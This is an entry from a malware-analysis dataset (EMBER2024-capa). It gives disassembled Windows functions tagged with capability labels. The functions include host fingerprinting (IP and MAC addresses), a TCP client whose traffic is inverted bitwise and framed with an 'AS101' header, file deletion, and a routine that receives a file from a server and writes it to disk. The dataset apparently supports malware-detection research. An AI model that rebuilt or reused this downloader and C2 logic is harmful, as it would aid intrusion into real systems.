joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4039b0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x43c
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebp - 0x20c], ax
push 0x206
push 0
lea ecx, [ebp - 0x20a]
push ecx
call fcn.00409920
add esp, 0xc
mov dword [ebp - 0x430], 0
push 0x200
push 0
lea edx, [ebp - 0x40c]
push edx
call fcn.00409920
add esp, 0xc
lea eax, [ebp - 0x40c]
push eax
call fcn.00402800
add esp, 4
test eax, eax
je 0x403bd2
mov dword [ebp - 0x428], 0x418c7c
mov dword [ebp - 0x418], 0x41c018
mov ecx, dword [ebp - 0x418]
mov dword [ebp - 0x438], ecx
mov edx, dword [ebp - 0x428]
mov ax, word [edx]
mov word [ebp - 0x412], ax
mov ecx, dword [ebp - 0x418]
mov dx, word [ebp - 0x412]
mov word [ecx], dx
mov eax, dword [ebp - 0x428]
add eax, 2
mov dword [ebp - 0x428], eax
mov ecx, dword [ebp - 0x418]
add ecx, 2
mov dword [ebp - 0x418], ecx
cmp word [ebp - 0x412], 0
jne 0x403a39
lea edx, [ebp - 0x386]
mov dword [ebp - 0x424], edx
mov dword [ebp - 0x41c], 0x41c120
mov eax, dword [ebp - 0x41c]
mov dword [ebp - 0x434], eax
mov ecx, dword [ebp - 0x424]
mov dx, word [ecx]
mov word [ebp - 0x410], dx
mov eax, dword [ebp - 0x41c]
mov cx, word [ebp - 0x410]
mov word [eax], cx
mov edx, dword [ebp - 0x424]
add edx, 2
mov dword [ebp - 0x424], edx
mov eax, dword [ebp - 0x41c]
add eax, 2
mov dword [ebp - 0x41c], eax
cmp word [ebp - 0x410], 0
jne 0x403aa3
lea ecx, [ebp - 0x408]
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x420], 0x41c0a0
mov edx, dword [ebp - 0x420]
mov dword [ebp - 0x43c], edx
mov eax, dword [ebp - 0x42c]
mov cx, word [eax]
mov word [ebp - 0x40e], cx
mov edx, dword [ebp - 0x420]
mov ax, word [ebp - 0x40e]
mov word [edx], ax
mov ecx, dword [ebp - 0x42c]
add ecx, 2
mov dword [ebp - 0x42c], ecx
mov edx, dword [ebp - 0x420]
add edx, 2
mov dword [ebp - 0x420], edx
cmp word [ebp - 0x40e], 0
jne 0x403b0d
mov ax, word [ebp - 0x388]
mov word [0x41c098], ax
mov cx, word [ebp - 0x2e6]
mov word [0x41c010], cx
mov dword [0x41c00c], 5
cmp dword [0x41af08], 3
je 0x403b95
lea edx, [ebp - 0x20c]
mov ecx, 1
call fcn.004043b0
jmp 0x403ba2
lea edx, [ebp - 0x20c]
xor ecx, ecx
call fcn.004043b0
push str.golfset.ini
push 0x104
lea edx, [ebp - 0x20c]
push edx
call fcn.00405ed5
add esp, 0xc
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x430], 1
mov eax, dword [ebp - 0x430]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405c5a
mov esp, ebp
pop ebp
ret
Function at 0x403bf0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x11c
mov esi, ecx
lea eax, [ebp - 0x120]
push 0
push eax
mov dword [esi], 0
call fcn.00409920
add esp, 0xc
lea eax, [ebp - 0x120]
push eax
mov dword [ebp - 0x120], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x403c9c
mov eax, dword [ebp - 0x11c]
cmp eax, 5
jne 0x403c6d
mov eax, dword [ebp - 0x118]
cmp eax, 2
jae 0x403c58
cmp eax, 1
jne 0x403c9c
mov dword [esi], 3
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405c5a
mov esp, ebp
pop ebp
ret
cmp eax, 6
jne 0x403c9c
mov eax, dword [ebp - 0x118]
test eax, eax
jne 0x403c91
mov dword [esi], 4
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405c5a
mov esp, ebp
pop ebp
ret
cmp eax, 1
jne 0x403c9c
mov dword [esi], 5
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00405c5a
mov esp, ebp
pop ebp
ret

Function at 0x403cb0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
mov edi, edx
mov esi, ecx
call fcn.00409920
add esp, 0xc
cmp dword [0x41af08], 3
lea eax, [ebp - 0x20c]
jne 0x403d1d
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x418cb0
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.00405ed5
add esp, 0xc
jmp 0x403d29
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea eax, [ebp - 0x20c]
push eax
push 0x418cb4
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 4]
add esp, 0x10
xor ecx, ebp
pop edi
pop esi
call fcn.00405c5a
mov esp, ebp
pop ebp
ret
Function at 0x403e10
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
mov eax, dword [0x41a038]
xor eax, esp
mov dword [esp + 0x18], eax
push ebx
push esi
mov esi, ecx
push edi
mov edi, edx
cmp esi, 0xffffffff
je 0x403f3e
push 0x400
call fcn.00406d47
add esp, 4
mov ebx, eax
push 0x400
push 0
push ebx
call fcn.00409920
add esp, 0xc
mov ecx, esi
call fcn.00404000
xor ecx, ecx
shld ecx, eax, 9
xorps xmm0, xmm0
shl eax, 9
movq qword [esp + 0x14], xmm0
mov dword [esp + 0x18], eax
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x10]
push eax
push 0x400
push ebx
movq qword [esp + 0x2c], xmm0
push esi
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x30], ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x403f35
cmp dword [ebx + 4], 0x5042475f
jne 0x403efc
lea ecx, [ebx + 0x10e]
lea edx, [ecx + 2]
jmp 0x403ec0
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x403ec0
sub ecx, edx
sar ecx, 1
je 0x403efc
mov ecx, 0x8d
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
push ebx
movsw word es:[edi], word [esi]
call fcn.00406dd9
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x18]
xor ecx, esp
call fcn.00405c5a
mov esp, ebp
pop ebp
ret
push ebx
push 2
mov edx, 0x1e
mov ecx, esi
call fcn.004040e0
add esp, 8
test eax, eax
je 0x403f35
cmp dword [ebx + 4], 0x5042475f
jne 0x403f35
lea ecx, [ebx + 0x10e]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x403f24
sub ecx, edx
sar ecx, 1
jne 0x403ed1
push ebx
call fcn.00406dd9
add esp, 4
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.00405c5a
mov esp, ebp
pop ebp
ret

Function at 0x403f60
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
mov esi, ecx
mov dword [ebp - 0x210], 0
call fcn.00409920
add esp, 0xc
lea eax, [ebp - 0x20c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
movzx ecx, word [ebp - 0x20c]
sub ecx, 0x41
lea edx, [ebp - 0x210]
call fcn.00404150
mov ecx, dword [ebp - 0x210]
call fcn.00404240
cmp eax, 0xffffffff
jne 0x403fe6
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405c5a
mov esp, ebp
pop ebp
ret
mov edx, esi
mov ecx, eax
call fcn.00403e10
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00405c5a
mov esp, ebp
pop ebp
ret
Function at 0x404000
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x64
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1ff
xor esi, esi
lea eax, [ebp - 0x207]
push esi
push eax
mov byte [ebp - 0x208], 0
call fcn.00409920
add esp, 0xc
cmp ebx, 0xffffffff
je 0x4040bc
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x20c]
push eax
push 0x200
lea eax, [ebp - 0x208]
xorps xmm0, xmm0
push eax
movq qword [ebp - 0x21c], xmm0
movq qword [ebp - 0x214], xmm0
push ebx
mov dword [ebp - 0x220], esi
mov dword [ebp - 0x20c], esi
mov dword [ebp - 0x218], esi
mov dword [ebp - 0x214], esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4040bc
mov eax, dword [ebp - 0x42]
add eax, dword [ebp - 0x3e]
mov ecx, dword [ebp - 0xe]
cmovne esi, eax
mov eax, dword [ebp - 0x32]
add eax, dword [ebp - 0x2e]
cmp eax, esi
cmova esi, eax
mov eax, dword [ebp - 0x22]
add eax, dword [ebp - 0x1e]
cmp eax, esi
cmova esi, eax
add ecx, dword [ebp - 0x12]
cmp ecx, esi
cmova esi, ecx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.00405c5a
mov esp, ebp
pop ebp
ret

Function at 0x4040e0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
xorps xmm0, xmm0
xor eax, eax
push esi
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x1c], 0
movq qword [ebp - 0x18], xmm0
movq qword [ebp - 0x10], xmm0
mov dword [ebp - 8], 0
cmp ecx, 0xffffffff
je 0x40413a
shld eax, edx, 9
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp + 8]
shl eax, 9
push eax
push esi
shl edx, 9
push ecx
mov dword [ebp - 0x14], edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00405c5a
mov esp, ebp
pop ebp
ret

Function at 0x4043b0
Capabilities:
Get common file path

Disassembly:
push esi
mov esi, edx
test ecx, ecx
je 0x4043c5
push esi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
pop esi
ret
push 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x418d38
push 0x104
push esi
call fcn.00405ed5
add esp, 0xc
pop esi
ret
Function at 0x4043f0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, dword [ebp + 8]
push 0x418d3c
push ecx
lea eax, [ebp - 8]
push eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], 0
call fcn.004060cc
add esp, 0xc
test eax, eax
je 0x404435
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405c5a
mov esp, ebp
pop ebp
ret
push ebx
push esi
push 2
push 0
push dword [ebp - 8]
call fcn.00406ea0
push dword [ebp - 8]
call fcn.00407278
push 0
push 0
push dword [ebp - 8]
mov esi, eax
call fcn.00406ea0
lea eax, [edi + esi]
push eax
mov dword [ebp - 0x10], eax
call fcn.00406d47
push dword [ebp - 8]
mov ebx, eax
push 1
push esi
push ebx
mov dword [ebp - 0x14], ebx
call fcn.0040639e
push dword [ebp - 8]
call fcn.004064b6
push edi
add ebx, esi
push 0
push ebx
call fcn.00409920
mov eax, edi
cdq
and edx, 3
add esp, 0x40
lea edi, [edx + eax]
sar edi, 2
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00407303
add esp, 4
xor esi, esi
test edi, edi
jle 0x4044bd
lea ecx, [ecx]
call fcn.004072e0
mov dword [ebx + esi*4], eax
inc esi
cmp esi, edi
jl 0x4044b0
push 0x418d44
push dword [ebp - 0xc]
lea eax, [ebp - 8]
push eax
call fcn.004060cc
add esp, 0xc
test eax, eax
je 0x4044e8
pop esi
pop ebx
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405c5a
mov esp, ebp
pop ebp
ret
push dword [ebp - 8]
mov esi, dword [ebp - 0x14]
push 1
push dword [ebp - 0x10]
push esi
call fcn.00406684
push dword [ebp - 8]
call fcn.004064b6
add esp, 0x14
test esi, esi
je 0x404511
push esi
call fcn.00406dd9
add esp, 4
mov ecx, dword [ebp - 4]
pop esi
pop ebx
xor ecx, ebp
mov eax, 1
pop edi
call fcn.00405c5a
mov esp, ebp
pop ebp
ret
Function at 0x404ad0
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov eax, 0x3a98
push edi
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], ecx
xor ebx, ebx
mov dword [ebp - 8], eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x404bdd
lea eax, [ebp - 8]
push eax
push esi
push 0
push 0x10
push 2
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersAddresses]
mov edi, eax
cmp edi, 0x6f
jne 0x404b37
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor esi, esi
inc ebx
cmp edi, 0x6f
jne 0x404b47
cmp ebx, 3
jae 0x404bb1
mov eax, dword [ebp - 8]
jmp 0x404af3
test edi, edi
jne 0x404bb1
mov eax, esi
test esi, esi
je 0x404bad
cmp dword [eax + 0x34], 6
jne 0x404b5d
cmp dword [eax + 0x1c], 0
jne 0x404b68
mov eax, dword [eax + 8]
test eax, eax
jne 0x404b51
xor edi, edi
jmp 0x404bb6
mov ecx, dword [eax + 0x2c]
mov edx, dword [ebp - 0xc]
mov dword [edx], ecx
mov cx, word [eax + 0x30]
mov word [edx + 4], cx
mov ecx, dword [eax + 0x10]
mov edx, dword [ebp - 0x10]
mov ecx, dword [ecx + 0xc]
movzx ecx, byte [ecx + 4]
mov byte [edx + 3], cl
mov ecx, dword [eax + 0x10]
mov ecx, dword [ecx + 0xc]
movzx ecx, byte [ecx + 5]
mov byte [edx + 2], cl
mov ecx, dword [eax + 0x10]
mov ecx, dword [ecx + 0xc]
movzx ecx, byte [ecx + 6]
mov byte [edx + 1], cl
mov eax, dword [eax + 0x10]
mov eax, dword [eax + 0xc]
mov al, byte [eax + 7]
mov byte [edx], al
xor edi, edi
jmp 0x404bb6
mov edi, 0xfffffffd
test esi, esi
je 0x404bca
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405c5a
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
or eax, 0xffffffff
pop ebx
call fcn.00405c5a
mov esp, ebp
pop ebp
ret
Function at 0x404e60
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov edi, edx
mov ebx, ecx
call fcn.00404fa0
mov dword [ebp - 0x418], eax
test eax, eax
jne 0x404f81
push esi
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.00409920
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x414], ax
lea eax, [ebp - 0x412]
push eax
call fcn.00409920
add esp, 0x18
lea eax, [ebp - 0x20c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, 0x41c3a8
jmp 0x404ee0
cmp word [esi], 0
je 0x404f13
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x414]
push 0x104
push eax
call fcn.00405e79
push esi
lea eax, [ebp - 0x414]
push 0x104
push eax
call fcn.00405ed5
add esp, 0x18
add esi, 0x118
cmp esi, 0x41c920
jl 0x404ee0
mov esi, 0x41c3a8
cmp word [esi], 0
je 0x404f3b
push 1
push edi
mov edx, ebx
mov ecx, esi
call fcn.004058a0
add esp, 8
add esi, 0x118
cmp esi, 0x41c920
jl 0x404f26
push 0x41c1a0
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.00405ed5
add esp, 0xc
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x418]
mov ecx, 2
cmove eax, ecx
pop esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.00405c5a
mov esp, ebp
pop ebp
ret
Function at 0x4051e0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x9b4
mov eax, dword [0x41a038]
xor eax, esp
mov dword [esp + 0x9b0], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
test eax, eax
lea esi, [esp + 0x1b4]
cmovne esi, eax
xor eax, eax
push edi
mov edi, dword [ebp + 8]
mov word [esi], ax
mov dword [esp + 0x14], eax
lea eax, [esp + 0x28]
push eax
push 0x101
mov dword [esp + 0x18], edx
mov ebx, ecx
xor esi, esi
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x40524b
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x9b0]
xor ecx, esp
call fcn.00405c5a
mov esp, ebp
pop ebp
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [edi], eax
cmp eax, 0xffffffff
je 0x405234
push ebx
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x405287
push ebx
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
mov dword [esp + 0x18], eax
push 4
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
je 0x4052da
mov eax, dword [eax + 0xc]
push dword [esp + 0x10]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp + 0x20], eax
mov eax, 2
mov word [esp + 0x1c], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x1a], ax
push 0x10
lea eax, [esp + 0x1c]
push eax
push dword [edi]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x4052da
mov esi, 1
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x9b0]
xor ecx, esp
call fcn.00405c5a
mov esp, ebp
pop ebp
ret
mov ecx, dword [edi]
test ecx, ecx
je 0x4052e9
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [edi], esi
mov ecx, dword [esp + 0x9bc]
pop edi
mov eax, esi
pop esi
pop ebx
xor ecx, esp
call fcn.00405c5a
mov esp, ebp
pop ebp
ret

Function at 0x405470
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov eax, ecx
push esi
xor esi, esi
mov ebx, edx
mov dword [ebp - 8], eax
cmp dword [eax], esi
je 0x4054f8
push edi
mov edi, dword [ebp + 8]
xor eax, eax
test edi, edi
jle 0x405498
nop
not byte [eax + ebx]
inc eax
cmp eax, edi
jl 0x405490
lea eax, [edi + 7]
push eax
call fcn.00407467
mov ecx, eax
lea eax, [edi + 5]
mov word [ecx], ax
mov eax, dword [str.AS101]
mov dword [ecx + 2], eax
mov al, byte [0x41af14]
push edi
mov byte [ecx + 6], al
lea eax, [ecx + 7]
push ebx
push eax
mov dword [ebp - 4], ecx
call fcn.0040a580
mov eax, dword [ebp - 8]
add esp, 0x10
lea ebx, [edi + 7]
mov edi, dword [ebp - 4]
push 0
push ebx
push edi
push dword [eax]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x4054ee
mov ecx, 1
cmp eax, ebx
cmove esi, ecx
push edi
call fcn.0040785b
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405700
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8dc
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x8dc], eax
mov eax, dword [ebp + 0xc]
push esi
test eax, eax
lea esi, [ebp - 0x8cc]
cmovne esi, eax
xor eax, eax
mov word [esi], ax
mov esi, dword [ecx]
xor ebx, ebx
mov dword [ebp - 0x8d0], edx
mov dword [ebp - 0x8d8], ecx
test esi, esi
je 0x405871
test edx, edx
je 0x405871
push 0xc7
mov byte [ebp - 0xcc], al
lea eax, [ebp - 0xcb]
push ebx
push eax
call fcn.00409920
add esp, 0xc
lea eax, [ebp - 0xcc]
push ebx
push 2
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x405881
test eax, eax
je 0x405881
movzx eax, word [ebp - 0xcc]
mov dword [ebp - 0x8d4], eax
add eax, 2
push edi
push eax
xor esi, esi
call fcn.00407467
mov edi, eax
mov eax, dword [ebp - 0x8d4]
add esp, 4
test eax, eax
jle 0x405861
lea ebx, [ebx]
push 0
sub eax, esi
push eax
lea eax, [esi + edi]
push eax
mov eax, dword [ebp - 0x8d8]
push dword [eax]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x40585b
test eax, eax
je 0x40585b
add esi, eax
mov eax, dword [ebp - 0x8d4]
cmp eax, esi
jg 0x4057c0
cmp esi, 5
jl 0x405861
mov ecx, str.AS101
sub esi, 5
mov eax, dword [ecx]
cmp eax, dword [edi]
jne 0x405861
movzx eax, byte [ecx + 4]
cmp al, byte [edi + 4]
jne 0x405861
test esi, esi
jle 0x405819
lea ecx, [edi + 5]
mov edx, esi
not byte [ecx]
lea ecx, [ecx + 1]
dec edx
jne 0x405811
mov ebx, dword [ebp - 0x8dc]
mov eax, dword [ebx]
cmp eax, esi
jl 0x405841
push esi
lea eax, [edi + 5]
push eax
push dword [ebp - 0x8d0]
call fcn.0040a580
mov dword [ebx], esi
add esp, 0xc
mov ebx, 1
jmp 0x405861
push eax
lea eax, [edi + 5]
push eax
push dword [ebp - 0x8d0]
call fcn.0040a580
add esp, 0xc
mov ebx, 1
jmp 0x405861
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
test edi, edi
je 0x40586e
push edi
call fcn.0040785b
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405c5a
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop esi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.00405c5a
mov esp, ebp
pop ebp
ret
Function at 0x4058a0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1024
call fcn.0040cb20
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x400
lea eax, [ebp - 0x814]
push 0
push eax
mov dword [ebp - 0x1024], edx
mov ebx, ecx
call fcn.00409920
push ebx
lea eax, [ebp - 0x814]
push 0x1ff
push eax
call fcn.00405e79
mov ecx, ebx
add esp, 0x18
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4058f0
sub ecx, edx
sar ecx, 1
lea edi, [ebp - 0x812]
mov esi, 0x41c920
lea edi, [edi + ecx*2]
mov ecx, 0x80
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebx + 2]
mov ax, word [ebx]
add ebx, 2
test ax, ax
jne 0x405917
sub ebx, ecx
sar ebx, 1
push 0x10000
lea ebx, [ebx*2 + 0x202]
call fcn.00406d47
push 0x10000
mov esi, eax
push 0
push esi
call fcn.00409920
xor eax, eax
push 0x7fe
push eax
mov word [ebp - 0x1014], ax
lea eax, [ebp - 0x1012]
push eax
mov dword [ebp - 0x1020], 0x10000
call fcn.00409920
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
xor edi, edi
push eax
mov dword [ebp - 0x101c], 0
mov dword [ebp - 0x1018], edi
call fcn.00409920
add esp, 0x28
cmp dword [ebp + 0xc], edi
je 0x4059b4
lea eax, [ebp - 0x20c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x405a0c
push 0x104
lea eax, [ebp - 0x414]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x414]
push 0x5c
push eax
call fcn.00406883
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.00405e79
push 0x418df0
lea eax, [ebp - 0x20c]
push 0x103
push eax
call fcn.00405ed5
add esp, 0x20
mov edx, dword [ebp + 8]
mov ecx, dword [ebp - 0x1024]
lea eax, [ebp - 0x1014]
push eax
lea eax, [ebp - 0x101c]
push eax
call fcn.004051e0
add esp, 8
test eax, eax
je 0x405af1
lea eax, [ebp - 0x1014]
push eax
push ebx
lea eax, [ebp - 0x814]
mov ebx, 0xbba
push eax
mov edx, ebx
lea ecx, [ebp - 0x101c]
call fcn.00405300
add esp, 0xc
test eax, eax
je 0x405af1
lea eax, [ebp - 0x1014]
push eax
lea eax, [ebp - 0x1020]
push eax
push esi
lea edx, [ebp - 0x1018]
lea ecx, [ebp - 0x101c]
call fcn.00405500
add esp, 0xc
test eax, eax
je 0x405af1
cmp word [ebp - 0x1018], bx
jne 0x405af1
cmp dword [ebp - 0x1020], edi
je 0x405af1
cmp byte [esi], 0
jne 0x405af1
push 0x41c1a0
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.00405ed5
push 0x418df4
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x1018]
push eax
mov dword [ebp - 0x1018], edi
call fcn.004060cc
add esp, 0x18
cmp dword [ebp - 0x1018], edi
je 0x405aec
lea edx, [ebp - 0x1018]
lea ecx, [ebp - 0x101c]
call fcn.00405b30
mov edi, 1
test esi, esi
je 0x405afe
push esi
call fcn.00406dd9
add esp, 4
mov ecx, dword [ebp - 0x101c]
test ecx, ecx
je 0x405b0f
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00405c5a
mov esp, ebp
pop ebp
ret
Function at 0x405b30
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.0040cb20
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor edi, edi
push edi
push 4
mov esi, ecx
lea eax, [ebp - 0x1008]
push eax
push dword [esi]
mov ebx, edx
mov dword [ebp - 0x100c], esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 4
je 0x405b80
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405c5a
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 0x1008], edi
jbe 0x405bd0
jmp 0x405b90
push 0
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [esi]
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
test esi, esi
je 0x405bd0
push dword [ebx]
lea eax, [ebp - 0x1004]
push esi
push 1
push eax
call fcn.00406684
add edi, esi
mov esi, dword [ebp - 0x100c]
add esp, 0x10
cmp edi, dword [ebp - 0x1008]
jb 0x405b90
push dword [ebx]
call fcn.004064b6
mov ecx, dword [ebp - 4]
add esp, 4
cmp edi, dword [ebp - 0x1008]
pop edi
sbb eax, eax
pop esi
xor ecx, ebp
inc eax
pop ebx
call fcn.00405c5a
mov esp, ebp
pop ebp
ret